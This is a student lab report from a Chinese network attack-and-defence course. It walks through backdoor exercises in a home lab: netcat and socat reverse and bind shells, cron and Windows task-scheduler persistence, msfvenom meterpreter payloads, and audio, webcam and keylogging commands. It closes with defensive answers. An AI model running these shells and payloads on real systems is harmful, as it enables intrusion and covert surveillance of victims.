20232418 2025-2026-1 《网络与系统攻防技术》实验二实验报告
一、实验环境
VMware Workstation pro环境下安装kali-linux-2025.2-installer-amd64.iso镜像
二、实验内容
1使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
2使用socat获取主机操作Shell, 任务计划启动。
3使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell。
4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。
5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
三、实验过程
实验内容一:使用netcat获取主机操作Shell,cron启动某项任务
(1)查看windows系统和kali系统的IP地址
WIN:192.168.31.16
KALI:192.168.31.197
(2)netcat获取主机shell
用netcat来在Windows中获取Linux shell,主机需开启监听(cmd输入ncat -l -p 2418),监听的端口为2418,kali反弹连接主机(shell输入nc 192.168.31.16 2418 -e /bin/sh),主机获取Linux shell成功(执行ls命令验证)
以上为目标机手动建立了反弹式连接来被获取shell,接下来启动cron来让主机获取shell,kali中输入crontab -e建立一个新的任务计划,并输入2选择第二个(vim编辑器)来编辑,再最后一行插入43 * * * * /bin/netcat 192.168.31.16 2418 -e /bin/sh,即在每个小时的第43分钟反弹连接Windows主机的2418端口
到了43分,Windows开始监听2418端口,成功获取目标shell
实验内容二:使用socat获取主机操作Shell, 任务计划启动
1)在网络中下载socat到Windows主机
2)打开Windows中的计算机管理中的任务计划程序,然后创建任务,名称设置为20232418exp2,添加一个工作站锁定时的触发器,新建执行socat.exe程序的操作,并将参数设置为tcp-listen:2418 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口2418,同时把cmd.exe的stderr重定向。
3)创建任务后,Windows主机锁屏,再打开,进入kali中监听,socat - tcp:192.168.1.107:2418,成功获取到Windows shell,输入dir
实验内容三:使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
现在通过在kali上使用meterpreter生成后门程序来传送给Windows主机,让Windows主机运行程序时就能从kali中获取其shell。首先是生成后门程序(msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.16 LPORT=2418 -f exe > 20232418_Backdoor.exe),然后需要将这个程序复制到Windows主机,Windows主机开启监听(ncat -lv 2418 >20232418_Backdoor.exe),然后再在kali中发送(nc 192.168.31.16 2418 < 20232418_Backdoor.exe ),在发送前我们要先把windows安全中心中的杀毒功能关闭
输入指令msfconsole,打开Metasploit框架的主要控制台界面。对监听模块进行配置
1)use exploit/multi/handler //使用监听模块,设置payload
2)set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
3)set LHOST 192.168.31.197 //KaliIP,和生成后门程序时指定的IP相同
4)set LPORT 2418 //设置本主机的端口
输入 exploit 运行模块;在Windows上运行后门程序20232418_backdoor.exe
实验内容四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
依旧是上一步生成的后门文件,在拿到Shell后进行以下尝试:
record_mic:获取主机音频
webcam_snap:获取主机摄像头内容
keyscan_start & keyscan_dump:获取主机键入内容
screenshot:获取主机屏幕截图
尝试进行提权,前提是Windows是以管理员身份运行的后门文件,否则会因为权限不足而提权失败
实验内容五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
在参数说明中提到,-p使用的为有效载荷,由于我们是在x86下的linux系统,所以要改为linux/x86/meterpreter/reverse_tcp。-x是可执行文件模板,shellcode会写入这个可执行文件中LHOST、LPORT是ip地址和端口,我们把它改为192.168.80.129和2219-f是生成文件的类型,我们把它改为二进制可执行文件elf
所以输入的payload如下:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.197 LPORT=2418 -x pwn1 -f elf > 20232418_pwn(注意pwn1文件和生成的20232418_pwn在同一个文件夹下)
另外开启一个终端,通过命令sudo chmod a+x 20232418_pwn,使用超级管理员权限为该文件赋予可执行权限
在原终端中打开msfconsole控制台,调整好相应参数,开始监听
通过./20232418 _pwn命令运行文件,成功获取shell
四、问题及解决方案
回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
通过恶意软件捆绑安装进入。比如,用户从不可信的网站下载一些破解版软件、游戏外挂等程序,这些程序在打包时被黑客捆绑了后门程序。当用户运行这些看似是正常软件的程序时,后门程序也会随之被安装到系统中 ,等待黑客后续连接和控制。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Win:通过诱导用户主动运行后门程序,攻击者获取shell,后续再操纵主机系统设置定时任务,触发后门运行
Linux:系统所提供的某项服务程序被攻击者注入了shellcode,该程序便可能触发运行后门
(3)Meterpreter有哪些给你映像深刻的功能?
Meterpreter能便捷进行文件上传下载等操作,可查看、注入或结束进程,还能查看网络连接、端口状态并进行端口转发,这些功能令人印象深刻。
(4)如何发现自己有系统有没有被安装后门?
可通过查看系统进程(如Windows 任务管理器、Linux ps -ef命令)、网络连接(如 Windows netstat - ano、Linux ss -anp命令)、启动项,以及使用杀毒软件来发现系统是否被安装后门。
实验遇到问题:
问题一:Kali虚拟机在Meterpreter会话建立后,它立刻就关闭了,关闭的原因是Died,在Winodws主机中可见后门程序20232418_backdoor.exe在Windows主机上运行失败了,事件查看器→Windows日志→应用程序中会显示错误信息
解决方法:(参照毕悠尘同学解决方法)
步骤一:更新Metasploit框架及其所有依赖项,确保它们与当前系统的Ruby版本兼容。使用命令sudo apt update与sudo apt update && sudo apt install metasploit-framework进行更新。完成更新后,再次启动Metasploit控制台。
步骤二:下载并安装Visual C++ Redistributable。前往微软官方下载页面:Microsoft Visual C++ Redistributable Latest Supported Downloads,网址:https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170,下载vc_redist.x86.exe(32位版本),如图41所示。并在Windows主机上运行安装程序。安装完成后,再次运行后门程序,此时它能找到VCRUNTIME140.dll并成功运行,Meterpreter会话就能稳定建立了。
问题二:20232418_backdoor.exe文件在Windows主机上无法运行
解决方法:注意病毒防护属于关闭状态(短时间后它会重新开启导致文件被删除)
五、学习感悟、思考
通过本次实验,我将后门原理的理论知识与实践操作深度结合,直观掌握了后门 “植入 - 启动 - 控制” 的完整流程,清晰理解了cron任务与Windows任务计划的差异、反向连接与正向连接的适用场景,不再局限于理论概念记忆;同时也深刻认识到环境配置与细节的重要性,如关闭Windows实时保护是后门运行的关键,IP 地址、端口号在各环节需保持一致,任何细节失误都会导致连接失败;此外,亲身实践攻击流程后,我对恶意软件捆绑、系统启动项异常等安全风险点有了更清晰的认知,进一步提升了日常使用电脑时 “不下载不明软件”“开启杀毒软件”“定期检查进程与网络连接” 的安全防护意识。